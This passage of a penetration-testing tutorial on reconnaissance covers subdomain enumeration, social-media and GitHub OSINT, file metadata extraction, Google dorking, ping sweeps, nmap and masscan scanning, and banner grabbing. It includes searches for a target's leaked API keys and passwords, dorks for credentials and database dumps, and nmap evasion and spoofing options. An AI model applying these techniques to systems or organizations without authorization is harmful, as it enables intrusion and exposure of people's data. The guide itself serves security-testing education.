if len(sys.argv) < 3:
print("Usage: subdomain_brute.py <domain> <wordlist> [output_file]")
print("Example: subdomain_brute.py example.com /usr/share/wordlists/dns/subdomains.txt")
sys.exit(1)
domain = sys.argv[1]
wordlist = sys.argv[2]
output = sys.argv[3] if len(sys.argv) > 3 else f"{domain}_subdomains.json"
bruteforcer = SubdomainBruteforcer(domain, threads=100)
bruteforcer.brute_force(wordlist, output)Amass:
# Install Amass
apt install amass
# Basic enumeration
amass enum -d example.com
# Passive mode (no direct connections)
amass enum -passive -d example.com
# Active mode (includes brute forcing)
amass enum -active -d example.com
# Use all sources
amass enum -d example.com -config /etc/amass/config.ini
# Output formats
amass enum -d example.com -o subs.txt
amass enum -d example.com -json output.json
amass enum -d example.com -oA example_amass
# Visualize results
amass viz -d example.com -o example_amass.htmlSubfinder:
# Install subfinder
apt install subfinder
# Basic usage
subfinder -d example.com
# Silent mode (just subdomains)
subfinder -d example.com -silent
# Use all sources
subfinder -d example.com -all
# Output to file
subfinder -d example.com -o subs.txt
# Recursive enumeration
subfinder -d example.com -recursiveAssetfinder:
# Install assetfinder
go install github.com/tomnomnom/assetfinder@latest
# Basic usage
assetfinder example.com
# Only include subdomains
assetfinder --subs-only example.comComprehensive Subdomain Discovery:
#!/bin/bash
# subdomain_mega.sh
domain="$1"
output_dir="subdomain_scan_$(date +%Y%m%d)"
if [ -z "$domain" ]; then
echo "Usage: $0 <domain>"
exit 1
fi
mkdir -p "$output_dir"
echo "[+] Starting comprehensive subdomain discovery for $domain"
# Certificate Transparency logs
echo "[*] Querying crt.sh..."
curl -s "https://crt.sh/?q=%.$domain&output=json" | jq -r '.[].name_value' | grep -v '*' | sort -u > "$output_dir/crtsh.txt"
# Amass passive
echo "[*] Running Amass passive..."
amass enum -passive -d "$domain" -o "$output_dir/amass_passive.txt"
# Subfinder
echo "[*] Running Subfinder..."
subfinder -d "$domain" -silent > "$output_dir/subfinder.txt"
# Assetfinder
echo "[*] Running Assetfinder..."
assetfinder --subs-only "$domain" > "$output_dir/assetfinder.txt"
# Combine all results
cat "$output_dir"/*.txt | sort -u > "$output_dir/all_subs.txt"
# Resolve subdomains
echo "[*] Resolving subdomains..."
while read sub; do
ip=$(dig +short "$sub" A | head -1)
if [ ! -z "$ip" ]; then
echo "$sub -> $ip" >> "$output_dir/resolved.txt"
fi
done < "$output_dir/all_subs.txt"
# HTTP/HTTPS check
echo "[*] Checking for web servers..."
while read sub; do
for proto in http https; do
curl -s -o /dev/null -w "%{http_code}" "$proto://$sub" 2>/dev/null | grep -q "200\|301\|302\|401\|403"
if [ $? -eq 0 ]; then
echo "$proto://$sub" >> "$output_dir/webservers.txt"
fi
done
done < "$output_dir/all_subs.txt"
echo "[+] Subdomain discovery complete!"
echo " Total subdomains: $(wc -l < "$output_dir/all_subs.txt")"
echo " Resolved: $(wc -l < "$output_dir/resolved.txt")"
echo " Web servers: $(wc -l < "$output_dir/webservers.txt")"
echo " Results in: $output_dir"Social media platforms are rich sources of information about organizations and individuals.
LinkedIn Data Extraction:
#!/usr/bin/env python3
# linkedin_osint.py
import requests
import json
import sys
import time
from bs4 import BeautifulSoup
class LinkedInOSINT:
def __init__(self, company_name):
self.company = company_name
self.employees = []
def search_company(self):
"""Search for company on LinkedIn"""
# Note: LinkedIn has strict anti-scraping measures
# This is a simplified example using public data
search_url = f"https://www.linkedin.com/company/{self.company.replace(' ', '-').lower()}"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
try:
response = requests.get(search_url, headers=headers)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
# Extract company info
info = {}
# This would need to be adapted based on LinkedIn's current HTML
# and would likely require authentication
return info
except Exception as e:
print(f"Error: {e}")
return {}
def extract_employee_patterns(self):
"""Analyze employee naming patterns"""
# Common patterns for company emails
patterns = [
"first.last@company.com",
"first_last@company.com",
"firstl@company.com",
"first.last@company.com",
"flast@company.com"
]
# If we had employee names, we could generate potential emails
return patterns
# Alternative: Use LinkedIn API (requires application registration)Using LinkedIn for OSINT:
# Tools like linkedin2username (requires account)
git clone https://github.com/initstring/linkedin2username.git
cd linkedin2username
pip3 install -r requirements.txt
# Generate username list for company
python3 linkedin2username.py -c "Company Name" -d domain.com
# Sherlock for username enumeration
apt install sherlock
sherlock usernameTwitter OSINT Collection:
#!/usr/bin/env python3
# twitter_osint.py
import requests
import json
import sys
import time
class TwitterOSINT:
def __init__(self, target):
self.target = target
self.tweets = []
def search_twitter(self, query):
"""Search Twitter for mentions"""
# Using Twitter API v2 (requires API keys)
# This is a placeholder for the actual API call
bearer_token = "YOUR_BEARER_TOKEN"
url = "https://api.twitter.com/2/tweets/search/recent"
params = {
'query': query,
'max_results': 100,
'tweet.fields': 'created_at,public_metrics,entities'
}
headers = {
'Authorization': f'Bearer {bearer_token}'
}
try:
response = requests.get(url, params=params, headers=headers)
if response.status_code == 200:
return response.json()
except Exception as e:
print(f"Error: {e}")
return {}
def extract_metadata(self):
"""Extract metadata from tweets"""
# Analyze tweet patterns, hashtags, mentions
pass
# Alternative: Use twint (no API required)
# pip3 install twintTwint for Twitter OSINT:
# Install twint
pip3 install twint
# Search tweets from a user
twint -u username
# Search for tweets containing a term
twint -s "company name" --since 2024-01-01
# Get user followers
twint -u username --followers
# Get user following
twint -u username --following
# Export to CSV
twint -u username -o tweets.csv --csvGitHub Code Search:
#!/usr/bin/env python3
# github_osint.py
import requests
import json
import sys
import base64
class GitHubOSINT:
def __init__(self, target, token=None):
self.target = target
self.token = token
self.base_url = "https://api.github.com"
self.headers = {}
if token:
self.headers['Authorization'] = f'token {token}'
self.headers['Accept'] = 'application/vnd.github.v3+json'
def search_code(self, query):
"""Search for code containing target information"""
url = f"{self.base_url}/search/code"
params = {
'q': query,
'per_page': 100
}
try:
response = requests.get(url, params=params, headers=self.headers)
if response.status_code == 200:
return response.json()
elif response.status_code == 403:
print("Rate limit exceeded")
except Exception as e:
print(f"Error: {e}")
return {}
def search_email_patterns(self):
"""Search for email addresses"""
queries = [
f'"{self.target}" email',
f'@{self.target}',
f'"{self.target}" .com'
]
results = []
for query in queries:
data = self.search_code(query)
if data and 'items' in data:
results.extend(data['items'])
return results
def search_api_keys(self):
"""Search for exposed API keys"""
patterns = [
f'"{self.target}" api_key',
f'"{self.target}" secret',
f'"{self.target}" password',
f'"{self.target}" token'
]
results = []
for pattern in patterns:
data = self.search_code(pattern)
if data and 'items' in data:
results.extend(data['items'])
return results
def get_file_content(self, url):
"""Get content of a file"""
try:
response = requests.get(url, headers=self.headers)
if response.status_code == 200:
content = response.json()
if 'content' in content:
return base64.b64decode(content['content']).decode('utf-8', errors='ignore')
except:
pass
return None
def analyze_repositories(self):
"""Find repositories related to target"""
url = f"{self.base_url}/search/repositories"
params = {
'q': self.target,
'sort': 'stars',
'order': 'desc'
}
try:
response = requests.get(url, params=params, headers=self.headers)
if response.status_code == 200:
return response.json()
except Exception as e:
print(f"Error: {e}")
return {}
def find_user_repos(self, username):
"""Find repositories by a specific user"""
url = f"{self.base_url}/users/{username}/repos"
params = {
'per_page': 100,
'sort': 'updated'
}
try:
response = requests.get(url, params=params, headers=self.headers)
if response.status_code == 200:
return response.json()
except Exception as e:
print(f"Error: {e}")
return {}
# Usage example
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: github_osint.py <target> [github_token]")
sys.exit(1)
target = sys.argv[1]
token = sys.argv[2] if len(sys.argv) > 2 else None
gh = GitHubOSINT(target, token)
print(f"[+] Searching GitHub for {target}")
# Search for emails
emails = gh.search_email_patterns()
print(f"\nFound {len(emails)} potential email matches")
# Search for API keys
keys = gh.search_api_keys()
print(f"Found {len(keys)} potential credential matches")
# Find repositories
repos = gh.analyze_repositories()
if repos and 'items' in repos:
print(f"\nTop repositories:")
for repo in repos['items'][:5]:
print(f" {repo['full_name']} - {repo['html_url']}")Metadata embedded in files can reveal sensitive information about an organization.
ExifTool:
# Install exiftool
apt install exiftool
# Extract metadata from image
exiftool image.jpg
# Extract all metadata from PDF
exiftool -a -u document.pdf
# Extract GPS coordinates
exiftool -gps* image.jpg
# Extract metadata from multiple files
exiftool -r -ext jpg -ext png directory/
# Output as CSV
exiftool -csv *.jpg > metadata.csvMetadata Extraction Script:
#!/usr/bin/env python3
# metadata_extractor.py
import os
import sys
import json
import subprocess
from datetime import datetime
class MetadataExtractor:
def __init__(self, target_dir):
self.target_dir = target_dir
self.results = {}
def extract_with_exiftool(self, filepath):
"""Extract metadata using exiftool"""
try:
result = subprocess.run(
['exiftool', '-json', filepath],
capture_output=True,
text=True
)
if result.returncode == 0:
return json.loads(result.stdout)[0]
except Exception as e:
print(f"Error with exiftool on {filepath}: {e}")
return {}
def extract_pdf_metadata(self, filepath):
"""Extract PDF-specific metadata"""
metadata = {}
# Try pdfinfo
try:
result = subprocess.run(
['pdfinfo', filepath],
capture_output=True,
text=True
)
if result.returncode == 0:
for line in result.stdout.split('\n'):
if ':' in line:
key, value = line.split(':', 1)
metadata[key.strip()] = value.strip()
except:
pass
return metadata
def extract_doc_metadata(self, filepath):
"""Extract Office document metadata"""
metadata = {}
# Try exiftool first (works for Office docs)
metadata.update(self.extract_with_exiftool(filepath))
return metadata
def analyze_file(self, filepath):
"""Analyze a single file"""
ext = os.path.splitext(filepath)[1].lower()
metadata = {
'file': filepath,
'size': os.path.getsize(filepath),
'modified': datetime.fromtimestamp(os.path.getmtime(filepath)).isoformat(),
'created': datetime.fromtimestamp(os.path.getctime(filepath)).isoformat()
}
# Extract based on file type
if ext in ['.jpg', '.jpeg', '.png', '.gif', '.tiff']:
metadata.update(self.extract_with_exiftool(filepath))
# Extract GPS if available
if 'GPSLatitude' in metadata:
print(f" [!] GPS found in {filepath}")
elif ext == '.pdf':
metadata.update(self.extract_pdf_metadata(filepath))
metadata.update(self.extract_with_exiftool(filepath))
elif ext in ['.doc', '.docx', '.xls', '.xlsx', '.ppt', '.pptx']:
metadata.update(self.extract_doc_metadata(filepath))
# Look for author info
if 'Author' in metadata:
print(f" [!] Author: {metadata['Author']} in {filepath}")
return metadata
def scan_directory(self):
"""Scan directory for files"""
sensitive_findings = []
for root, dirs, files in os.walk(self.target_dir):
for file in files:
filepath = os.path.join(root, file)
print(f"[*] Analyzing: {filepath}")
metadata = self.analyze_file(filepath)
self.results[filepath] = metadata
# Check for sensitive metadata
sensitive = self.check_sensitive_metadata(metadata)
if sensitive:
sensitive_findings.append({
'file': filepath,
'findings': sensitive
})
return sensitive_findings
def check_sensitive_metadata(self, metadata):
"""Check for sensitive metadata"""
sensitive = []
sensitive_fields = [
'Author', 'Creator', 'Producer', 'LastModifiedBy',
'Company', 'Manager', 'User', 'GPSLatitude', 'GPSLongitude',
'Email', 'Phone', 'Address', 'URL'
]
for field in sensitive_fields:
if field in metadata and metadata[field]:
sensitive.append({
'field': field,
'value': metadata[field]
})
return sensitive
def save_results(self, filename):
"""Save results to file"""
with open(filename, 'w') as f:
json.dump(self.results, f, indent=2, default=str)
# Also save sensitive findings separately
sensitive = {}
for filepath, metadata in self.results.items():
findings = self.check_sensitive_metadata(metadata)
if findings:
sensitive[filepath] = findings
if sensitive:
sens_file = filename.replace('.json', '_sensitive.json')
with open(sens_file, 'w') as f:
json.dump(sensitive, f, indent=2, default=str)
print(f"\n[!] Sensitive findings saved to {sens_file}")
print(f"\n[+] Results saved to {filename}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: metadata_extractor.py <directory> [output_file]")
sys.exit(1)
target_dir = sys.argv[1]
output = sys.argv[2] if len(sys.argv) > 2 else f"metadata_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
extractor = MetadataExtractor(target_dir)
print(f"[+] Scanning directory: {target_dir}")
sensitive = extractor.scan_directory()
if sensitive:
print(f"\n[!] Found {len(sensitive)} files with sensitive metadata")
for item in sensitive:
print(f" {item['file']}")
for finding in item['findings']:
print(f" - {finding['field']}: {finding['value']}")
else:
print("\n[+] No sensitive metadata found")
extractor.save_results(output)FOCA (Fingerprinting Organizations with Collected Archives):
- Windows tool for metadata analysis
- Extracts metadata from Office documents, PDFs, and more
- Can search for documents on websites
Metagoofil:
# Install metagoofil
apt install metagoofil
# Search and download documents from a domain
metagoofil -d example.com -t pdf,doc,xls -l 100 -o results
# Extract metadata from downloaded documents
metagoofil -d example.com -t pdf -l 50 -n 10 -o output -f results.htmlGoogle Dorking (Google hacking) uses advanced search operators to find sensitive information indexed by search engines.
Basic Operators:
# Site-specific search
site:example.com
# Exact phrase
"exact phrase"
# File type
filetype:pdf
ext:docx
# Title search
intitle:"index of"
allintitle:login admin
# URL search
inurl:admin
allinurl:wp-admin
# Text in body
intext:"password"
intext:"confidential"
# Related sites
related:example.com
# Cache
cache:example.com
# Link to site
link:example.com
# Define term
define:phishingAdvanced Combinations:
# Find login pages
site:example.com inurl:login | inurl:admin
# Find exposed directories
intitle:"index of" site:example.com
# Find configuration files
site:example.com filetype:xml | filetype:conf | filetype:config
# Find database dumps
site:example.com filetype:sql "INSERT INTO"
# Find backup files
site:example.com ext:bak | ext:old | ext:backup
# Find exposed documents
site:example.com ext:pdf | ext:doc | ext:xls confidential
# Find error messages
site:example.com "Fatal error" | "Warning" | "Parse error"
# Find login credentials
site:example.com intext:"username" intext:"password"
# Find network devices
intitle:"Cisco Switch" | "HP LaserJet" | "Dell DRAC"
# Find webcams
inurl:view/view.shtml
intitle:"Live View / - AXIS"#!/usr/bin/env python3
# google_dorking.py
import requests
import time
import sys
import urllib.parse
from bs4 import BeautifulSoup
class GoogleDorker:
def __init__(self, domain):
self.domain = domain
self.results = {}
self.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
def build_query(self, operator, term):
"""Build Google search query"""
if operator == 'site':
return f"site:{self.domain} {term}"
elif operator == 'filetype':
return f"site:{self.domain} filetype:{term}"
elif operator == 'intitle':
return f"site:{self.domain} intitle:{term}"
elif operator == 'inurl':
return f"site:{self.domain} inurl:{term}"
elif operator == 'intext':
return f"site:{self.domain} intext:{term}"
else:
return f"site:{self.domain} {term}"
def search(self, query, pages=3):
"""Perform Google search (simplified)"""
all_results = []
for page in range(pages):
start = page * 10
url = f"https://www.google.com/search?q={urllib.parse.quote(query)}&start={start}"
try:
response = requests.get(url, headers=self.headers, timeout=5)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
# Extract search results (simplified)
for result in soup.find_all('div', class_='g'):
link = result.find('a')
if link and 'href' in link.attrs:
href = link['href']
if '/url?q=' in href:
url = href.split('/url?q=')[1].split('&')[0]
title = result.find('h3')
title_text = title.text if title else 'No title'
all_results.append({
'url': url,
'title': title_text
})
time.sleep(2) # Be respectful
except Exception as e:
print(f"Error on page {page}: {e}")
return all_results
def run_dorks(self, dorks):
"""Run multiple dorks"""
for category, dork_list in dorks.items():
print(f"\n[+] Running {category} dorks")
self.results[category] = []
for dork in dork_list:
query = self.build_query(dork.get('operator', ''), dork.get('term', ''))
print(f" Query: {query}")
results = self.search(query, pages=2)
if results:
self.results[category].extend(results)
for r in results[:3]: # Show first 3
print(f" Found: {r['url']}")
def save_results(self, filename):
"""Save results to file"""
import json
with open(filename, 'w') as f:
json.dump(self.results, f, indent=2)
print(f"\n[+] Results saved to {filename}")
# Predefined dorks
DORKS = {
'login_pages': [
{'operator': 'inurl', 'term': 'login'},
{'operator': 'inurl', 'term': 'admin'},
{'operator': 'intitle', 'term': 'login'},
{'operator': 'inurl', 'term': 'signin'},
],
'config_files': [
{'operator': 'filetype', 'term': 'conf'},
{'operator': 'filetype', 'term': 'config'},
{'operator': 'filetype', 'term': 'ini'},
{'operator': 'filetype', 'term': 'xml'},
],
'backup_files': [
{'operator': 'filetype', 'term': 'bak'},
{'operator': 'filetype', 'term': 'backup'},
{'operator': 'filetype', 'term': 'old'},
{'operator': 'ext', 'term': 'swp'},
],
'documents': [
{'operator': 'filetype', 'term': 'pdf'},
{'operator': 'filetype', 'term': 'doc'},
{'operator': 'filetype', 'term': 'xls'},
{'operator': 'filetype', 'term': 'ppt'},
],
'directories': [
{'operator': 'intitle', 'term': '"index of"'},
{'operator': 'inurl', 'term': 'wp-content'},
{'operator': 'inurl', 'term': 'uploads'},
],
'error_messages': [
{'operator': 'intext', 'term': '"Fatal error"'},
{'operator': 'intext', 'term': '"Warning"'},
{'operator': 'intext', 'term': '"Parse error"'},
],
'credentials': [
{'operator': 'intext', 'term': '"username" "password"'},
{'operator': 'intext', 'term': '"database password"'},
{'operator': 'filetype', 'term': 'sql "INSERT INTO"'},
]
}
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: google_dorking.py <domain> [output_file]")
sys.exit(1)
domain = sys.argv[1]
output = sys.argv[2] if len(sys.argv) > 2 else f"{domain}_dorks.json"
dorker = GoogleDorker(domain)
print(f"[+] Starting Google dorking for {domain}")
dorker.run_dorks(DORKS)
dorker.save_results(output)GoogDork:
# Install GoogDork
git clone https://github.com/Zarcolio/googdork.git
cd googdork
pip install -r requirements.txt
# Run search
python googdork.py -d example.com -s
# Use custom dorks file
python googdork.py -d example.com -l dorks.txtPagodo:
# Install pagodo
git clone https://github.com/opsdisk/pagodo.git
cd pagodo
pip install -r requirements.txt
# Run with dork list
python pagodo.py -g google_dorks.txt -d example.com -l 50 -s -e 35.0Ghdb (Google Hacking Database):
- https://www.exploit-db.com/google-hacking-database
- Categorized dorks for various purposes
- Regularly updated with new techniques
Active reconnaissance involves directly interacting with target systems to gather information. Unlike passive reconnaissance, active techniques can be detected and logged, but they provide more detailed and current information.
Network discovery identifies live hosts and network topology.
ICMP Echo Requests:
#!/usr/bin/env python3
# ping_sweep.py
import subprocess
import sys
import ipaddress
from concurrent.futures import ThreadPoolExecutor
import time
class PingSweep:
def __init__(self, network, threads=50, timeout=1):
self.network = ipaddress.ip_network(network, strict=False)
self.threads = threads
self.timeout = timeout
self.alive_hosts = []
def ping_host(self, ip):
"""Ping a single host"""
try:
# Use ping command
result = subprocess.run(
['ping', '-c', '1', '-W', str(self.timeout), str(ip)],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
if result.returncode == 0:
print(f" Host {ip} is alive")
return str(ip)
except:
pass
return None
def scan(self):
"""Scan network"""
total_hosts = self.network.num_addresses - 2 # Exclude network and broadcast
print(f"[+] Scanning {self.network} ({total_hosts} hosts)")
start_time = time.time()
with ThreadPoolExecutor(max_workers=self.threads) as executor:
# Submit all ping jobs
futures = []
for ip in self.network.hosts(): # Excludes network and broadcast
future = executor.submit(self.ping_host, ip)
futures.append(future)
# Collect results
for future in futures:
result = future.result()
if result:
self.alive_hosts.append(result)
elapsed = time.time() - start_time
print(f"\n[+] Found {len(self.alive_hosts)} alive hosts in {elapsed:.1f} seconds")
return self.alive_hosts
def arp_scan(self, interface):
"""ARP scan for local network (more reliable)"""
print(f"[+] Performing ARP scan on {interface}")
try:
result = subprocess.run(
['arp-scan', '--local', '--interface', interface],
capture_output=True,
text=True
)
hosts = []
for line in result.stdout.split('\n'):
if '\t' in line:
parts = line.split('\t')
if len(parts) >= 2:
ip = parts[0]
mac = parts[1]
hosts.append({'ip': ip, 'mac': mac})
print(f" Found: {ip} - {mac}")
return hosts
except Exception as e:
print(f"Error running arp-scan: {e}")
return []
def save_results(self, filename):
"""Save results to file"""
with open(filename, 'w') as f:
for host in self.alive_hosts:
f.write(f"{host}\n")
print(f"[+] Results saved to {filename}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: ping_sweep.py <network> [threads]")
print("Example: ping_sweep.py 192.168.1.0/24 100")
sys.exit(1)
network = sys.argv[1]
threads = int(sys.argv[2]) if len(sys.argv) > 2 else 50
scanner = PingSweep(network, threads)
scanner.scan()
scanner.save_results(f"alive_hosts_{network.replace('/', '_')}.txt")Using fping:
# Install fping
apt install fping
# Ping sweep
fping -a -g 192.168.1.0/24 2>/dev/null
# With custom timeout
fping -a -g -t 100 192.168.1.0/24
# Read targets from file
fping -f targets.txtUsing nmap for ping sweep:
# ICMP echo scan
nmap -sn 192.168.1.0/24
# TCP SYN ping (port 80)
nmap -sn -PS80 192.168.1.0/24
# TCP ACK ping (port 80)
nmap -sn -PA80 192.168.1.0/24
# UDP ping (port 53)
nmap -sn -PU53 192.168.1.0/24
# ARP scan (local network only)
nmap -sn -PR 192.168.1.0/24
# Combine methods
nmap -sn -PS80 -PA80 -PU53 192.168.1.0/24Traceroute:
# Standard traceroute
traceroute example.com
# ICMP traceroute
traceroute -I example.com
# TCP traceroute
traceroute -T -p 80 example.com
# UDP traceroute (default)
traceroute -U example.com
# With specific source IP
traceroute -s 192.168.1.100 example.com
# Using tcptraceroute
tcptraceroute example.com 80Path Analysis with mtr:
# Interactive MTR
mtr example.com
# Report mode (non-interactive)
mtr -r -c 100 example.com
# TCP mode
mtr -T -P 80 example.com
# ICMP mode
mtr -I example.com
# Save report
mtr -r -c 100 example.com > mtr_report.txtPort scanning identifies open ports and running services on target systems.
Nmap Scan Types:
# TCP SYN scan (default, requires root)
nmap -sS 192.168.1.100
# TCP connect scan (no root required)
nmap -sT 192.168.1.100
# UDP scan
nmap -sU 192.168.1.100
# TCP ACK scan (map firewall rules)
nmap -sA 192.168.1.100
# TCP Window scan
nmap -sW 192.168.1.100
# TCP Maimon scan
nmap -sM 192.168.1.100
# FIN scan
nmap -sF 192.168.1.100
# Xmas scan
nmap -sX 192.168.1.100
# Null scan
nmap -sN 192.168.1.100
# IP protocol scan
nmap -sO 192.168.1.100Nmap Port Specification:
# Single port
nmap -p 80 192.168.1.100
# Multiple ports
nmap -p 80,443,22 192.168.1.100
# Range
nmap -p 1-1000 192.168.1.100
# All ports
nmap -p- 192.168.1.100
# Top ports
nmap --top-ports 100 192.168.1.100
# Fast scan (top 100 ports)
nmap -F 192.168.1.100
# Service and version detection
nmap -sV 192.168.1.100
# Aggressive service detection
nmap -sV --version-intensity 9 192.168.1.100
# Light version detection
nmap -sV --version-intensity 0 192.168.1.100Nmap Timing Templates:
# Paranoid (IDS evasion)
nmap -T0 192.168.1.100
# Sneaky
nmap -T1 192.168.1.100
# Polite
nmap -T2 192.168.1.100
# Normal (default)
nmap -T3 192.168.1.100
# Aggressive
nmap -T4 192.168.1.100
# Insane (very fast, may miss ports)
nmap -T5 192.168.1.100Nmap Output Formats:
# Normal output
nmap -oN scan.txt 192.168.1.100
# XML output
nmap -oX scan.xml 192.168.1.100
# Grepable output
nmap -oG scan.gnmap 192.168.1.100
# All formats
nmap -oA scan 192.168.1.100
# Convert XML to HTML
xsltproc scan.xml -o scan.htmlAdvanced Nmap Scripts:
# Run default scripts
nmap -sC 192.168.1.100
# Run specific script
nmap --script http-enum 192.168.1.100
# Run script category
nmap --script vuln 192.168.1.100
# Run multiple scripts
nmap --script http-*,ssl-* 192.168.1.100
# Script arguments
nmap --script http-brute --script-args userdb=users.txt,passdb=pass.txt 192.168.1.100
# Update script database
nmap --script-updatedbNmap Script Categories:
auth: Authentication credentialsbroadcast: Broadcast discoverybrute: Brute force attacksdefault: Default scripts (-sC)discovery: Service discoverydos: Denial of serviceexploit: Exploit vulnerabilitiesexternal: External servicesfuzzer: Fuzzingintrusive: May crash servicesmalware: Malware detectionsafe: Unlikely to harmversion: Version detectionvuln: Vulnerability detection
Nmap Firewall Evasion:
# Fragment packets
nmap -f 192.168.1.100
# Specify MTU
nmap --mtu 32 192.168.1.100
# Decoy scans
nmap -D RND:10,ME 192.168.1.100
# Idle scan (zombie)
nmap -sI zombie_host 192.168.1.100
# Spoof source IP
nmap -S 192.168.2.200 -e eth0 192.168.1.100
# Source port
nmap --source-port 53 192.168.1.100
# Randomize host order
nmap --randomize-hosts 192.168.1.0/24
# MAC address spoofing
nmap --spoof-mac Cisco 192.168.1.100
# Bad checksum
nmap --badsum 192.168.1.100Masscan can scan the entire internet in minutes, but must be used responsibly.
# Install masscan
apt install masscan
# Basic scan
masscan 192.168.1.0/24 -p80
# Scan with rate limit
masscan 192.168.1.0/24 -p80 --rate=1000
# Multiple ports
masscan 192.168.1.0/24 -p80,443,22
# Port range
masscan 192.168.1.0/24 -p1-1000
# All ports
masscan 192.168.1.0/24 -p0-65535
# Output formats
masscan 192.168.1.0/24 -p80 -oJ scan.json
masscan 192.168.1.0/24 -p80 -oL scan.txt
masscan 192.168.1.0/24 -p80 -oB scan.bin
# Exclude targets
masscan 192.168.1.0/24 -p80 --exclude 192.168.1.100
# Specific interface
masscan 192.168.1.0/24 -p80 -e eth0
# Scan with banner grabbing
masscan 192.168.1.0/24 -p80 --banners
# Convert masscan to nmap format
masscan --readscan scan.bin -oG scan.gnmapPython Masscan Wrapper:
#!/usr/bin/env python3
# masscan_wrapper.py
import subprocess
import json
import sys
import ipaddress
class MasscanWrapper:
def __init__(self, rate=1000):
self.rate = rate
self.results = []
def scan(self, target, ports, interface=None):
"""Run masscan scan"""
cmd = ['masscan', target, '-p', ports, '--rate', str(self.rate), '-oJ', '-']
if interface:
cmd.extend(['-e', interface])
try:
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode == 0:
# Parse JSON output
data = json.loads(result.stdout)
self.results = data
return data
except Exception as e:
print(f"Error running masscan: {e}")
return None
def scan_network(self, network, ports, exclude=None):
"""Scan entire network"""
cmd = ['masscan', network, '-p', ports, '--rate', str(self.rate), '-oJ', '-']
if exclude:
cmd.extend(['--exclude', exclude])
try:
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode == 0:
data = json.loads(result.stdout)
self.results = data
return data
except Exception as e:
print(f"Error: {e}")
return None
def get_open_ports(self):
"""Extract open ports from results"""
ports = []
if self.results:
for host in self.results:
for port_info in host.get('ports', []):
ports.append({
'ip': host['ip'],
'port': port_info['port'],
'protocol': port_info['proto']
})
return ports
def export_nmap_format(self, filename):
"""Export results in nmap grepable format"""
with open(filename, 'w') as f:
for host in self.results:
ip = host['ip']
ports = ','.join([f"{p['port']}/{p['proto']}" for p in host.get('ports', [])])
f.write(f"Host: {ip} () Ports: {ports}\n")
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: masscan_wrapper.py <target> <ports> [rate]")
print("Example: masscan_wrapper.py 192.168.1.0/24 80,443,22 1000")
sys.exit(1)
target = sys.argv[1]
ports = sys.argv[2]
rate = int(sys.argv[3]) if len(sys.argv) > 3 else 1000
scanner = MasscanWrapper(rate)
results = scanner.scan(target, ports)
if results:
open_ports = scanner.get_open_ports()
print(f"\n[+] Found {len(open_ports)} open ports:")
for port in open_ports:
print(f" {port['ip']}:{port['port']}/{port['protocol']}")
scanner.export_nmap_format(f"masscan_{target.replace('/', '_')}.gnmap")Identifying services and their versions is crucial for vulnerability assessment.
Manual Banner Grabbing:
# Using netcat
nc -nv 192.168.1.100 80
HEAD / HTTP/1.0
[Enter twice]
# Using telnet
telnet 192.168.1.100 80
HEAD / HTTP/1.0
[Enter twice]
# Using openssl for HTTPS
openssl s_client -connect 192.168.1.100:443 -quiet
HEAD / HTTP/1.0
[Enter twice]
# Using curl
curl -I http://192.168.1.100
curl -I https://192.168.1.100
# Using wget
wget -S --spider http://192.168.1.100Automated Banner Grabbing:
#!/usr/bin/env python3
# banner_grabber.py
import socket
import ssl
import sys
import concurrent.futures
class BannerGrabber:
def __init__(self, timeout=5):
self.timeout = timeout
def grab_tcp_banner(self, ip, port):
"""Grab banner from TCP port"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(self.timeout)
sock.connect((ip, port))
# Send probe based on port
if port == 80:
sock.send(b"HEAD / HTTP/1.0\r\n\r\n")
elif port == 21:
banner = sock.recv(1024).decode('utf-8', errors='ignore')
sock.close()
return banner.strip()
elif port == 25:
banner = sock.recv(1024).decode('utf-8', errors='ignore')
sock.close()
return banner.strip()
elif port == 22:
banner = sock.recv(1024).decode('utf-8', errors='ignore')
sock.close()
return banner.strip()
else:
# Generic probe
sock.send(b"\r\n")
# Receive banner
banner = sock.recv(1024).decode('utf-8', errors='ignore')
sock.close()
return banner.strip()
except Exception as e:
return None
def grab_ssl_banner(self, ip, port):
"""Grab banner from SSL/TLS port"""
try:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((ip, port), timeout=self.timeout) as sock:
with context.wrap_socket(sock, server_hostname=ip) as ssock:
# Get certificate info
cert = ssock.getpeercert()
# Send HTTP request if it's HTTPS
if port == 443:
ssock.send(b"HEAD / HTTP/1.0\r\n\r\n")
banner = ssock.recv(1024).decode('utf-8', errors='ignore')
return banner.strip()
return str(cert)
except Exception as e:
return None
def grab_banner(self, ip, port):
"""Grab banner based on port"""
if port in [443, 8443, 465, 993, 995]:
return self.grab_ssl_banner(ip, port)
else:
return self.grab_tcp_banner(ip, port)
def scan_ports(self, ip, ports):
"""Grab banners from multiple ports"""
results = []
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
future_to_port = {executor.submit(self.grab_banner, ip, port): port for port in ports}
for future in concurrent.futures.as_completed(future_to_port):
port = future_to_port[future]
banner = future.result()
if banner:
results.append((port, banner))
print(f" Port {port}: {banner[:100]}...")
return results
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: banner_grabber.py <ip> [port1,port2,...]")
sys.exit(1)
ip = sys.argv[1]
if len(sys.argv) > 2:
ports = [int(p) for p in sys.argv[2].split(',')]
else:
# Common ports
ports = [21, 22, 23, 25, 80, 110, 111, 135, 139, 143, 443, 445,
993, 995, 1723, 3306, 3389, 5900, 8080]
grabber = BannerGrabber()
print(f"[+] Grabbing banners from {ip}")
results = grabber.scan_ports(ip, ports)
print(f"\n[+] Found {len(results)} banners")# Basic service detection
nmap -sV 192.168.1.100
